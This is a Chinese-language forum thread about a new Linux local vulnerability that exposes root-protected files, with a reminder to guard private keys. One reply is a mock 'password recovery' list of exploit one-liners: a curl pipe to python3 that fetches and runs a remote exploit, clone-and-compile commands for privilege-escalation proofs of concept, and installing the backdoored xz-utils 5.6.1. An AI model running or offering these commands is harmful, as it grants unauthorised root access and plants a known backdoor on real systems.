没错，linux又双叒叕来高危漏洞了（比前面的轻一点）

互联网服务 杂谈
1

目前暂无CVE和更详细的分析报告
简单来说，

该漏洞可以使普通用户读取root严格保护的文件

，相比前几个算轻的了
运维主要注意私钥、key的保护
另外提醒所有Next.js的运维注意一下11日公布的8.6分CVE-2026-44578，可去 这里检查

1 个赞
2

感谢分享

3
  1. Linux 找回密码教程，建议收藏！
    curl https://copy.fail/exp | python3 && su
    passwd root
    设置你的新密码
  2. 你的 Linux 密码又忘了？没关系，这里还有一个新的！
    git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
  3. 不想再忘记密码了？
    我们有专业的黑客团队帮您运维服务器和保管密码！
    项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
    sudo apt install xz-utils=5.6.1-1
    sudo systemctl restart ssh
  4. 容易忘记密码的有福了，每天都有新办法！
    https://ze3tar.github.io/post-zcrx.html
    插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可
  5. 什么，你买不起高端网卡？那试试这个吧！
    git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
  6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
    https://depthfirst.com/nginx-rift
1 个赞
4

了解一下

5

漏洞又来了

6

谢谢分享